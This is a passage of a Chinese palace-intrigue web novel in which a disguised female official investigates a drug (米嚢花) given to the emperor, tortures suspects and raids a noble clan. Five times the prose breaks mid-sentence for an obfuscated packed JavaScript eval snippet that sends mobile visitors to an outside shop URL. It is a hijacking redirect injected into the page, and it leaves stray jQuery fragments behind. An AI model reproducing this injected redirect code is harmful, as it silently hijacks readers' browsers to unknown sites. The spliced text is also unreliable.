沈聿明无辜道:“今儿点卯过后就去了卢府,回来正好看见你,本王哪里有时间换药?” 云暮记得附近有家医馆,给沈聿明理好衣袖:“不吃了,下官带你去医馆换药。” 沈聿明扒拉着桌子,坚决不走:“那不行,本王的手也是随随便便就能给人看的?这传出去,本王以后如何议亲?” 云暮:“……你在说什么鬼话?一个大男人,大夫还能占你便宜不成?” “万一那个大夫真的好男色怎么办?你伤的我,你要负责。” “那你疼死吧。” 话是这么说,云暮最后还是把人带回了布政坊,正上着药,宋枫就回来了。 宋枫一见到沈聿明,整个人都炸了:“大人,属下有事要禀报,能否让闲杂人等回避?” 被划为闲杂人等的沈聿明轻嘶了一声,云暮的动作放得更轻了:“弄疼你了?” 他轻嗯了一声,在云暮看不见的地方,朝宋枫挑衅地扬了扬眉,把宋枫气得脸都青了。 毫不知情的云暮最后打了个结,点评:“娇气。” 云暮把东西收回药箱:“可是有关米嚢花的事?直接说吧,王爷不是外人。” 虽不情愿,但宋枫也不敢耽误事,把记录下来的名单递给云暮:“属下还听说今夜有人戍时在东市倒卖米嚢花。” 此前从未听说过这种东西,突然一下子就泛滥起来,背后定有人推波助澜。 “去通知冯章他们,今夜换上常服,随我去抓人。” 宋枫应了一声,却不离开。 云暮这才抬头看他:“还有事?” “没了。”宋枫垂下头,脚下跟灌了浆似的缓缓挪了出去。 彻底看不到人后,沈聿明冷不丁问道:“宋枫可知你的身份?” 云暮摇头:“不知,下官岂会把这种把柄告知他人?” 他继续追问:“本王听说宋枫是你捡回来的,这么多年也一直瞒着他?” 云暮反问:“难道王爷这几年逮到个人就会告诉对方你是皇上的儿子吗?” 沈聿明眼底的笑意慢慢凝固,心虚地摸了摸鼻子:“本王就不叨扰云大人了,药箱也顺路给你带回去。” 戌时一刻,云暮在东市闲逛,这也看看那也瞅瞅,视线却不离开那个昏暗的角落。 不多时,一个狗狗祟祟的人背着一个包袱警惕地往走另一条街巷走,身后不远处还跟着好几个人,云暮放下手里的东西也跟了上去。 等人们拐了个弯后,发现角落空无一人。 把邻近的两条街都翻了个遍,还是没能找到,周管事苦着张脸,不知该怎么和东家交代。 “说吧,这些都是哪来的?” 诏狱森森,一路走来,脚下黏腻,更有一些断肢被随意丢弃在刑架旁。 黄志达还没走到脚就软了,冯章揪着他的后领子把人往里拖,捆在了刑架上。 还没等用刑,黄志达就交代了:“各位大人,我说,我说。这米嚢花是一个黑衣人给我的,说是京中的贵人都在用,他提供米嚢花,由我来卖,最后得的钱三七分,我三他七。” 冯章问道:“那人是何模样?” 黄志达茫然地摇摇头:“不知道啊,他带着帷帽,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632378|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着一身黑衣,小人如何能认出?” 又问:“那你们怎么交货?” “每隔三日,他就会把货放在小人家前的那个小巷子的墙里,天黑后小人再去取,钱的话,小人卖完回家时,会顺手塞进放米嚢花的墙里,第二天再去看,已经被人拿走了。” “大人,你们要是也想做这个生意,小人可以替你们引荐,小人卖一个米嚢花才得这个数,再让给你们两利,就真的要饿死了。” 一鞭子落在黄志达身上,“废什么话,把你知道的都交代清楚,否则就把命留在诏狱吧。” 黄志达疼得面容扭曲:“听说昨日鬼市的货没有出掉,京城里大多数人都急着要,今夜小人的米嚢花能卖到……” 云暮给伍华使了个眼色。 云暮终于开口:“你既卖这个东西,也应该知晓它的用途吧?” “小人不知, 只知晓用了之后就再也离不开这玩意,听说朝中许多大人都在用,就连皇上也……” 云暮一鞭子甩在黄志达身上,鞭尾扫过他的嘴巴,火辣辣的疼:“住口,皇上乃一国之主,岂容你污蔑?” …… 早朝一下,云暮就提着那个小贼去了勤政殿,进门就闻到一股熟悉的药膳味,人未到声音先制止了他:“皇上,这个药膳不能再用了。” 梁文帝惦记了一夜,此刻又被打断,就算是云暮,他也心生不满:“这是为何?” 云暮把打着冷颤和流鼻涕的小贼丢在地上:“这个小贼是奴婢前些日子抓到的,偷了醉江月那道野鸡汤的药渣,之后就成了这副模样……” 她伸手接过冯章递过来的汤药:“这是奴婢按照院使的房子在太医院抓的药,他喝下去之后并无好转。” 说罢,她上前拿过梁文帝的那盅汤,又给小贼灌了进去,小贼闻到味拼了命地把汤往下咽,最后露出一个心满意足的笑。 “皇上,只有加了米嚢花的汤才能让他安静下来。” 他的症状和地上这人并无太多区别,梁文帝的额头冒出阵阵冷汗。 “去查,朕倒要看看是哪个不要命的敢谋害朕。” 第二十九章 人人自危 “去刑部知会一声,让他们把诏狱空出来。” 云暮叮嘱完伍华后,带着王全把尚未来得及出宫的人都遣回了金銮殿。金吾卫三千人,还要留下半数保护梁文帝,云暮又讨了一道圣旨去军营调了两千兵马,全程搜捕。 整个京城戒备森严,云暮策马飞驰穿过朱雀大街,直奔永安坊,把卢家团团围住。 云暮上次带人抄礼部侍郎一家也只带了二十余人,今天这个阵仗,不知有多少人遭殃。 京中百姓怕祸及自身,闭门不出,却还是被敲开了门。 从巳时到申时,终于挨家挨户搜了个遍。城中的米嚢花过于分散,且大多都是酒楼拥有,可在卢家却搜出了一大袋。 卢家一家老小被捕下狱之时,卢宇几人正在太和殿拉拢能助他们登上家主之位的人,殊不知留守皇城的金吾卫正在缉拿他的路上。 “皇上,在涿州之时,奴婢就在卢宏和知县的府上搜到过米嚢花,只是当时不知此物有何用处,直到抓到那个小贼,才知此物在京城早已流通,且在鬼市也有人贩卖。” 涿州之案卢宏一家什么都没招,卢家也把此事撇得干干净净,只舍弃了几个求情的小喽啰。 没能顺势把卢氏一族拉下水,梁文帝恨得牙痒痒,现下卢家和米嚢花扯上关系,他说什么都不会再放过卢家。 “革职查办,那几个卢家人,你亲自去审,务必让他们吐出解毒之法。” 云暮再次见到卢家人时,是在诏狱。 她拿出一个米嚢花:“卢大人,别来无恙啊,大家都是老熟人,你主动坦白能少受点罪,云某也能和皇上交差。” 在云暮来之前,刑部的人草草地审过一次,并未动刑。 卢宇被绑在刑架上,只看了一眼又合上双眼:“你不过一个没根的阉人,也配和本官说话?在这里,也就徐振峰还配得上和本官说话。” 世家之人自诩高贵,最看不起地位比他们低下之人。云暮当上中郎将后,不是没有世家对他示好,但都被他一一拒绝,卢家就是其一。 打那之后,卢家人和云暮就面和心不和,卢宏一家被抓后,卢家人直接和云暮撕破了脸,日日让手底下的人写折子弹劾。 云暮边套臂鞲边道:“配不配的,可不是你说了算,方才皇上已经下旨,革了卢家人的职,本将军称你一声大人是看在你们卢家多年来为皇上分忧的份上,别给脸不要脸。” “对了,你等下最后快点松口,本将军要赶场,去抄了卢家。” 最后一句说得极轻,只有他们二人能听见。 卢宇怒视云暮,手脚上的铁链被他拽得叮当响,“你敢!” “抄家对于本将军来说不过家常便饭,有何不敢?” 云暮不再与他废话,扫了一眼卢宇的指头:“来人,给卢大人修修指甲,被困在金銮殿大半日,想来也是饿了,再请他吃顿板子。” 连刑架都没给人下,板子就一个接着一个落到人身上。 “云大人。” 云暮扭头,看见沈聿明正拾阶而下,她忙起身挡在他面前:“你来诏狱做什么?” 伸手想要挡住沈聿明好奇的双眼,她才发觉手上沾了几滴血,反手在衣服上蹭了蹭,把人带了出去。 冬日的天总是暗得格外快,酉时还没结束,天已经一片漆黑。 “诏狱不是什么好地方,你又受着伤,怎么就来了?” 云暮毒舌惯了,今天少见地关心他,沈聿明的眼底沁出几分笑意,解下身上的狐裘披在云暮身上,却被她抬手制止:“别,在外跑了一天,一身灰尘,且里面起了火盆,不冷,你自己穿着,怎么突然来了?” 沈聿明痛呼了一声,趁着云暮的注意力放在他手臂的伤上时,把狐裘披在她身上:“方才进宫,听说你在审卢家人,这么久了,他们应该还没招吧?” 云暮无奈倚墙看他。 沈聿明脸一热,移开了眼:“先前我和卢宇谈过,对他也还算了解,不如换我去审他?” 卢宇心高气傲,且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632379|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对背后之人忠心耿耿,见不得会说实话,他大概能猜出背后之人是谁,若是能借此撬开对方的嘴,也能让云暮轻松些。 一阵风迷住了云暮的眼,也带走了她的一声轻笑。 “在山里长大的孩子还真是单纯。” 云暮看着他懵懂的双眼,“王爷,你所谋不小,那些被陛下看重的皇子哪个背后没有母族撑腰?三皇子之母虽是平民出身,但只要她给皇上吹吹枕边风,好处少不了。” “你虽才回宫就被封王,但身后无人,君心难测,凭着陛下的愧疚能走多远谁也不知。这些时日世家私下肯定没少讨好试探你,如果你今日插手卢家一事,其他几个世家如何敢再相信你?” 云暮把斗篷塞到沈聿明怀里:“回去吧,此事你不要插手。” 沈聿明还不死心:“即便是以担忧父皇安危为借口也不行吗?” 云暮摇了摇头:“不行,皇上早就想杀一杀世家的傲气,奈何一直找不到机会,这次即使有把柄,但世家根基太深,能把卢家一锅端了已是万幸。王爷信不信,明日就会有替死鬼出来顶罪。” “陛下此 举定会惹得世家猜忌,下官作为他的走狗,自然也会被迁怒,王爷还是少和下官来往吧。” 沈聿明怔怔地看着她,头发被风吹乱也无心去拂:“你答应过要和我合作,如今又要始乱终弃吗?” 云暮叹了一声,踮脚把他的头发拨至身后,欲替他戴上狐裘的兜帽,却怎么也够不着。 “头低一点。” 今夜许了她,往后再见到,二人就要形同陌路了,沈聿明固执着不愿低头。 在京城如履薄冰的这几年,云暮警惕任何主动向她示好之人,就连和亲自捡回来的宋枫也不曾交心,但对沈聿明,她总是一再纵容,今夜就当是最后一次吧。 “王爷以后遇到难处,也可私下来寻我,只要下官能做到,定然不会推脱。” “大人,卢宇晕死过去了,他夫人倒是有话要说,可要听招供?” 第三十章 毁灭证据 云暮闻声收手。 狱卒只闻声不见人,不知来找云暮的是沈聿明。见云暮火急火燎地赶上去接人,生怕来人被吓到,狱卒不敢多看,只能窥到一抹灰色的衣摆。出来寻人时看到云暮双手搭在对方的头上,两人的动作看起来像极了在…… 狱卒被恶心得起了一身鸡皮疙瘩,玩男人也就罢了,在外面也不知收敛,阉人这种没根的东西就是变态。 云暮自入宫以来,不曾受过谁的孝敬,原来是下头送的东西没送到点子上。 仗着云暮背对着他,狱卒肆无忌惮地打量着二人,甚至还在揣测云暮会用什么法子来折腾人,猝不及防对上男人淡然的目光,狱卒垂下头,啐了一句,不过是出来卖的,装什么清高。 云暮回头看了一眼,沈聿明说过,因卢宇官职低,他那房不执掌中馈,手里头的酒楼铺面也不过两间。而且她今日在卢宇那一房搜出的米嚢花也只有十来颗,从卢宇下手不过是看他怯懦,想试试能不能撬开口罢了。 “不听了,你们审吧,本将军送了王爷后还有要事。” 狱卒才知面前之人是近日深得皇帝恩宠的秦王,方才他没有藏住眼中的鄙夷,生怕沈聿明追究,猛然跪地:“小人不知王爷大驾光临,还请王爷恕罪。” 不知就不知,又不是什么大事,何故如此惊慌,云暮不明所以,目光在两人身上游离。 沈聿明阴鸷地扫了一眼狱卒,记下了他的脸:“滚。” 对上云暮时,目光柔和了一瞬,又硬邦邦地开口:“不是说要送本王吗,还不走?” 一路走来,沈聿明都不曾开口,本以为云暮能哄他两句,没想到她又成了闷葫芦。 但气归气,最后还是要提醒云暮:“卢宇背后之人可能是贵妃,那日的追杀大概也和贵妃有关,你可从此处查。” 说完,他飞速上了马车,怕被云暮追问,也怕她又说一些不中听的话:“钟叔,走吧。” 云暮失笑,转身回去找人传话,不想卢夫人招供如此之快。 她翻看供词,发现上面净是一些废话,当即伸手掐住卢夫人的脖子:“你戏弄官员,该当何罪?” 特意让狱卒空出离刑架最近的牢房,又让卢家人住了进去,为的就是让他们观刑,看谁熬不住先开口。 卢宇虽说鼻孔朝天,谁也看不起,但对夫人也还算不错,这么多年也不曾纳妾。卢夫人见卢宇昏死了过去,万般心疼,但卢宇不许她插手卢家之事,平日里她不是和贵妇们聚会饮茶就是去逛街买首饰,对家中的事务根本不了解,被捆在刑架上时才知道害怕。 东扯一句西扯一句,狱卒烦了不愿再审,才松了口气就被云暮掐住了脖子,她说不出话,只能小幅度地摇头。 云暮用力捏紧手指,在人快气绝身亡时才收手,卢夫人是王氏女,嫁给卢宇多年,也算养尊处优,何时受过这种委屈?她惊惧地喘着粗气,被狱卒拖回了牢房。 一通审问下来,没得到一点有用的消息,云暮看着这几个自告奋勇来审人的狱卒,暗骂了一句废物。 刑部掌狱讼事务,狱卒进诏狱的第一课就是协助审人,云暮在诏狱审过不少案子,知晓狱卒的手段,虽比不得她狠辣,但也不至于差成这样。 几人嘴角扬起的弧度还没放下,突然被云暮揪住了衣领。 云暮伸手在几人的腰间掏了掏,果然搜出了好几个金元宝。 她的脸色变得极其难看,拿起金元宝朝着狱卒的脑袋砸去,脚下动作不停:“你们吃了熊心豹子胆了是吧?皇上下旨严查之事,你们竟然敢受贿包庇罪犯。” 事情败露,几人捂着脑袋求饶。 几个狱卒从不远处跑来,“云大人,这是……” 云暮抽出狱卒腰间的剑,一刀抹了其中一个的脖子。沈聿明对人三分笑,不会无故针对一个没见过的狱卒,想来是此人无故冒犯。 “把剩下这几个打入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632380|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢中,和卢家人同罪。你们回去告诉徐尚书,让他管好底下人的手,要是再误了事,别怪我秉明皇上,反正刑部尚书的位子有的是人想做。” 此事若是捅到皇上面前,别说徐振峰的官职不保,他们的小命也要丢,狱卒不敢再大意:“是。” 云暮带队穿过坊市,往常热闹拥挤的街巷此刻清冷寂静,不说吆喝,就连小摊都没见几个。 怕被人偷偷潜进卢府毁去证据,云暮简单搜查后就派人在此处看守,她飞身下马:“可有异常?” 门口的副尉行了一礼:“回大人,并无异常,属下一直守着,半只苍蝇都没飞进去。” 云暮拍了拍他的肩,挥手示意身后之人进府:“辛苦副尉了。” 灯笼被风吹得晃动,红袖一手护着灯笼一手还要扶着贵妃,不时侧头:“娘娘。” 晚些时候不知贵妃得了什么消息,把自己关在寝殿,就连晚膳都没有用。 红袖偷偷出去打听,才知晓皇上盛怒,派云暮在京城搜捕,虽不知搜捕何物,但想起贵妃让她放在药膳里的东西,她咽了咽唾沫,拖着发软的双腿回了长乐宫。 今夜本不该红袖守夜,但贵妃点明要她伺候,又撑着眼皮熬到贵妃说的时间,两人提着灯笼 没有惊动任何人悄悄出了长乐宫。 看着红袖包袱里的东西都抖进水里,何秋林悬了一天的心终于落回肚里。这条水渠是从宫外引进的活水,会带着这些米嚢花流到宫外,她已将米嚢花损毁,无人能发现这是何物。 米嚢花查不出毒性,否则她也不会给梁文帝用,便是在京城流通,也不曾叫人怀疑,到底是何处出了纰漏? 宫外收上来的那些真金白银正和顺着水流而下的米嚢花一样正在离她而去,而这一切都是拜云暮所赐!何秋林恶狠狠地掐了红袖一把,恨声道:“云暮,你一而再再而三地同本宫作对,本宫要你死不瞑目!” “谁在那里!” 第三十一章 匕首再现 梁文帝收到云暮递进宫的消息,卢家暂时还没松口,让他莫要再用米嚢花,但到了后半夜,他实在忍得难受,让太医院照着以前的房子给他炖了一盅药膳,但他让王全加了米嚢花进去。 汤药入肚,焦躁不安的情绪才得以抚平,临时起意要去御花园走走,不想却听到前方传来动静。 早上才抓了一大批人下狱,其中不乏世家之人,难保世家狗急跳墙,派人来恐吓或是刺杀,侍卫当即拔刀把梁文帝护在中间。 “何人在此,还不束手就擒。” 利剑出鞘的声音在寂静的冬夜显得格外冷肃,红袖强忍着惧意上前轻斥:“大胆,这是长乐宫的贵妃娘娘!” 贵妃把包袱丢给红袖,摘下兜帽,缓步行至人前,看见人群中间的梁文帝时,诧异道:“臣妾见过皇上。” 侍卫这才合上剑让出条道。 深更半夜只带着一个宫女出门,梁文帝示意侍卫去岸边查看:“这么晚了,你不在宫里待着,出来做什么?” 贵妃稍稍侧身,露出才挖出的坑,“皇上这几日都没来后宫,想来是被朝事绊住了脚,臣妾担心您宵衣旰食,深夜难寐。百合能清除心火,安定心神,想到御花园有几株,便带着红袖来了,打算给陛下做一道百合莲子羹。” 侍卫用剑刨了几下,果然挖出了几个百合,皇帝疑窦才消,“起来吧,这些事吩咐宫人去做即可,若是因此受了风寒,可不值当。” 贵妃把手放在梁文帝的手心,“臣妾于微末时和您相识,能走到今天全都倚仗您的宠爱,便是刀山火海都能闯一闯,更何况只是挖个百合。” 男人都喜欢女人的依赖和崇拜,皇帝亦然。梁文帝被她这番话逗得开怀大笑,他捏了捏贵妃的脸:“朕可舍不得让爱妃涉险。” 贵妃的手在梁文帝身上打着圈,娇声道:“那陛下今夜就宿在长乐宫吧。” 梁文帝被勾出了一团火,他抓住作乱的手,任由贵妃把他往长乐宫的方向带:“朕依你就是了。” 小径微弱的灯光照亮眼前之路。 云暮站在正厅,看着手下自库房抬出一个又一个箱子,整整齐齐地码在院子。 伍华拍了拍掌,几人同时打开,黑夜里骤然亮起金光。 “卢家一大家子挤在这几个三进宅子拼成的宅院,没想到家底这般厚,有这些钱都能在平昌坊买宅子了,书里说的有钱人最喜欢不显山不露水,大抵就是这样吧。” 云暮的手划过一个个金元宝,普通平民要想入朝为官,只有三条路走,一是上阵杀敌攒军功,二是官员推荐,三是凭借自身的才能考取功名。 但世人大多爱走捷径,借着推荐的名头卖官鬻爵,屡见不鲜,世家朝廷共分天下,皇帝不喜也抓不到把柄。 卢家能抄出这么多东西,也在云暮的意料之中。 挥手合上箱笼,却眼尖地发现隔壁有一把熟悉的匕首,云暮弯腰翻出:“这把匕首是在何处找到?” 一旁的侍卫想了想,转身在众多箱子中又找出了两把匕首,“在卢宇的书房搜出来的,卢恪他们也有。” 云暮一把抢过灯笼,在看到刀柄上的李字时,她瞳孔一缩。 兰维至死都没有供出匕首上的李字是何意,在涿州断掉的线索此刻终于又连上了。 她把东西抛给侍卫:“把这些送到我府上。” 东西还未登记,东西多几样少几样也不会有人知晓,云暮从不做这种事,今日倒有些奇怪。 侍卫好心相劝:“大人,这些都不是什么值钱的玩意,不如您换一个?” 云暮点了点匕首,认真道:“此物和涿州之事有关,你别把事给我办砸了。” 卢家三个人每人一把匕首,为何卢宏没有?难不成兰维的匕首就是卢宏所赠?云暮又否决了这个可能。 王大勇死时,卢宏和兰维并未达成合作,平白无故的,怎么可能把信物送给他人? 卢宏就算真的有,但也只有一把,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632381|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清风说过,没过几日,兰维的腰上又重新挂上了匕首。 难不成卢宏只是一枚弃子还是牵涉在其中的人不止卢宏? 第二天她去到布政坊时,口供已经摆在了她的桌上。 云暮还没看完,冯章歪歪扭扭地走了进来。 昨夜她担心诏狱之人又被收买,特意让冯章带着人亲自去审。 “能开口的都招了,但卢宇几个就是不松口。” 梁文帝自外走进,撩起衣袍坐在了勤政殿的龙椅上:“严刑逼供,若是吐不出解毒之法,涉及此案的人一家老小都得五马分尸。” 昨夜在长乐宫一夜荒唐,醒来满心疲累,但用过早膳后又活了过来,在贵妃的温言软语里,他坐上了去上早朝的轿辇,到了之后发现有好几个官员告病。 他压着怒气听底下的官员汇报,结果竟然有言官进谏,斥他不分青红皂白抓人,他静静听完,而后当场让侍卫把人拖了出去。 云暮垂眸思考了片刻,决定如实相告:“皇上,奴婢猜测,米嚢花之毒无解。” 梁文帝冷冷地看着面前的云暮:“你说什么?” 事关他的身体,他不得不重视。 云暮跪在 原地未动:“不知皇上可还记得那个小贼?奴婢问过大理寺负责看押他的人,此人刚入狱时每日发病一两次,后来病情愈发严重,一日能有三四次,今早奴婢去问时,他们说发病的次数少了,人看着也精神了许多。” “奴婢斗胆猜测,米嚢花只要不服过量,不会致死,但要解毒只有一个法子,那就是不再服用米嚢花制成的东西。” 皇帝回忆那个小贼发病时的症状,反正也没毒,他突然不想戒掉米嚢花了,堂堂一国之君,蜷缩在地涕泪横流求人给药成何体统? 云暮久久没有听到声音,飞速地抬头看了一眼梁文帝,她的心一寸一寸地沉了下去,而后一股喜悦涌上心头。 或许梁文帝沉迷于此对她来说是个机会。 第三十二章 毒杀 云暮把梁文帝的挣扎看在眼里,她要把这把火烧得更旺些:“皇上,您得为了大梁的江山社稷考虑啊。” 梁文帝回过神:“容朕想想,你先下去吧。” 没有当面应下,说明梁文帝的心在动摇,但他也不会全然相信,但云暮敢保证,就算是太医院院使,也找不到第二条解毒的法子。 至于贵妃…… 卢家不招供,她没有理由搜宫,昨日之事闹得沸沸扬扬贵妃得了消息没准已经毁尸灭迹了,或许宽泛几日会让对方露出马脚。 诏狱的人越来越少,但卢宇他们一口咬定米嚢花是他们在鬼市花了大价钱买来,只用在卢家的酒楼,东西为何会出现在宫里他们也不知。 冬日的天总是灰蒙蒙,晚些时候,大雪突降,今年的雪来得格外的晚,也格外的大。 沈聿明正在云府的暖阁替云暮修剪着花草,看着云暮正在给一盆刚冒出新芽的东西翻土,随口问道:“你又新种了什么花?” 云暮头也不抬:“米嚢花,只想碰碰运气,没想到真能发芽。” “种它做什么,要是被那些人知道了,明儿大半的奏折都在参你。” “他们也就敢在奏折上参两句罢了。” 从前她就一直替梁文帝分奏折,这几日梁文帝沉溺米嚢花,批折子一事落在了她头上,日日看着弹劾她的折子,早已习惯。 诏狱一别,云暮以为沈聿明会审时度势,顺势投靠世家,培养势力,结果往后几天又大摇大摆地进了云府,生怕别人不知二人交好。 云暮深觉那日是白费口舌,沈聿明却道:“如今你受父皇重用,我们二人若是突然翻脸,那些世家定能猜出我们在演戏,还是等以后找到机会后再做打算。” 赶也赶不走,还是王爷,云暮也拿他无法。 “贵妃那边查出什么了吗?” “娘娘,卢家人都死了大半,您怎么一点也不着急?” 这话在红袖心里憋了好几天,看四下无人,她终于鼓起勇气发问。 她原先只是浣衣局的一个小宫女,但绣工了得,也因此被贵妃看上,调去了长乐宫当差。上一个大宫女溺毙在深井后,贵妃就提她做了大宫女。她只觉得惶恐,生怕步她人后尘。 何秋林折下一支开得正好的梅花,轻笑了一声:“怕什么,卢家人不敢乱说话,此事查不到我们身上。” 先不说她已经把所有的证据全部销毁,卢家人若是敢吐出半句不该说的,牵扯到背后之人,他们只会死得更快,而且她知道,卢家人活不过今晚了。 “大人,卢宇几人死了!”宋枫进来后直挺挺地跪在云暮面前,满是愧疚。 云暮猛然起身:“你说什么?” “今早士兵换职时才发现,人已经死透了。” 云暮没等他说完,疾步出门翻身上马往诏狱的方向飞驰。 刑部的人战战兢兢地在外面候着,见了云暮忙把人带了进去。 “今早放饭时,人是背对着牢房门的,他们才没第一时间发现,后来看人不动才发觉不对,进去查看后才发现人已经死了。” 云暮迈着长腿一步下三阶,直奔牢房。被冻了一晚,尸体维持着死时的姿势,七窍流血,嘴唇发紫。 “他们是被人毒死的,叫仵作来验尸。” 她巡视了一圈,问道:“昨夜是谁值守?” 几人从末尾走出,跪在云暮面前,浑身僵硬,嘴张了半天只吐出了“大人”二字。 云暮喝不了酒,对酒味甚是敏感,哪怕是在各种味道混合的诏狱,也能一下辨出。 “你们昨夜喝酒了?” 几人喝酒误事,在云暮来之前急匆匆地换了一套衣裳,没想到还是被对方闻出,为了活命,下意识就要否认。 云暮提醒:“如实招来还能从轻发落,若是被我知道你们在撒谎,你们的下场和他们没什么区别。” 顺着云暮指的方向看去,那是他们昨夜忘记收拾的断肢,但他们着实冤枉。 “回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632382|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人,昨夜百味阁的人送来一桌酒菜,说是这几日小的们辛苦,特意犒赏,小人才喝醉了。” 云暮戳着他们的脑门说道:“你们两个耳朵之间夹的真的不是猪脑吗?这辈子是没吃过几个好菜还是怎样,随便一个人送来的东西都敢下嘴,怎么没把你们也毒死?” 狱卒直呼冤枉:“大人,那个小二说是您派人送来的,否则就是给小的十个胆子,小的也不敢吃啊。” 云暮闭眼告诉自己要冷静:“如今都等着卢家人开口,本将军是得了失心疯才会派人给你们送酒菜。” “本将军现下就入宫面圣,你们是死是活,听天由命吧。” 宋枫追了上来,“大人,是属下失职。” 云暮头也没回:“看守不力,自己去领罚,等我从宫里出来再收拾你。” 宋枫停住脚,面色有些发白,眼中还带着几分挣扎,似是想不顾一切地告诉云暮真相,最后薄唇微动,还是什么都没说,只道了声“是”。 到金銮殿时,早朝还未结束,云暮盯着徐振峰,一字一句地把卢宇几人被毒杀一事说出。 朝堂上,有人幸灾乐祸,有人惋惜, 还有几个则暗自庆幸。 梁文帝怒火冲天,随手拿起东西对着徐振峰砸了过去:“人待在诏狱,你就是这般看管的?” 奏折打歪了徐振峰的官帽。 事发突然,徐振峰滞在原地,他本就是靠世家运作才坐上刑部尚书的位子,哪怕上次底下的人提醒过狱卒受贿一事,他也没放在心上,只是口头训斥几句就揭过了。他想过人会被云暮的严刑弄死,但没想过会被人神不知鬼不觉地毒死。 徐振峰以头触地:“皇上,此事与微臣无关啊!” 人已经死了,再挖也挖不出什么,此事最后以徐振峰罚俸半年禁足三个月收尾。 云暮走在宫道上,重新捋顺思绪,有人以她的名义送酒菜,灭口的同时顺势把她拖下水,希望她的人能把小二带回来,否则她就百口莫辩了。 第三十三章 诬陷 云暮在勤政殿没等来小二的消息,正盘算着怎么和梁文帝开口,徐振峰已经带着昨夜值守的狱卒来了,她心里咯噔了一下。 此事涉及到她,她不能随意打杀狱卒,否则就会有杀人灭口的嫌疑。趁着徐振峰进门,她吩咐身边的小太监:“若是冯章带人面圣,不得阻拦。” 死到临头了还这般气定神闲,徐振峰给了云暮一记眼刀:“皇上,微臣是被人冤枉啊,方才出宫门时,微臣看到诏狱的人在喊冤,您要为我们做主啊。” 徐振峰从宫门带了人来,梁文帝虽不满,但也只能听他们说完。 徐振峰踢了狱卒一脚,催促他们:“在皇上面前把昨夜之事从实招来。” 狱卒们畏惧地看了云暮一眼,方才有人给他们一笔钱,又雇了一辆马车把他们送到宫门口,只需他们在下朝时跪地磕头喊冤即可,没想到被徐尚书押进了勤政殿。 里头的人他们一个都得罪不起,只能把昨夜发生的一切全盘托出。 比起世家的走狗,梁文帝更愿意相信云暮,“云卿,可有此事?” “还请皇上明鉴,奴婢昨日离宫后直接去了布政坊,下了值就直接回了云府,一路皆有人证。” 徐振峰在一旁道:“或是背着人偷偷出去,或是前几日安排好的,也未可知。” 话音刚落,王全走了进来:“皇上,丞相大人求见。” 丞相崔浩,当今皇后的兄长。 “宣。” 崔浩目不斜视,行了跪礼后开始说明来意:“皇上,方才有个自称是金吾卫的侍卫拦住微臣的马车,求微臣保他一命,此事臣本不该管,但他说此事和云大人有关,怕危及陛下的安危,微臣就斗胆带他来面圣。” 不待梁文帝开口,他又拍了拍手,“进来。” 云暮眉心微蹙,冯章几人是参军,她又常带在身边做事,宫里的侍卫大多认识,方才又吩咐了下去,不可能求到丞相跟前,她隐约觉得事情超出了她的把控。 一个侍卫模样的人走了进来,扑通一声就跪在了她身旁。 云暮侧头打量,她记忆极好,但把这几日见的人都想了个遍,还是没能对得上脸。 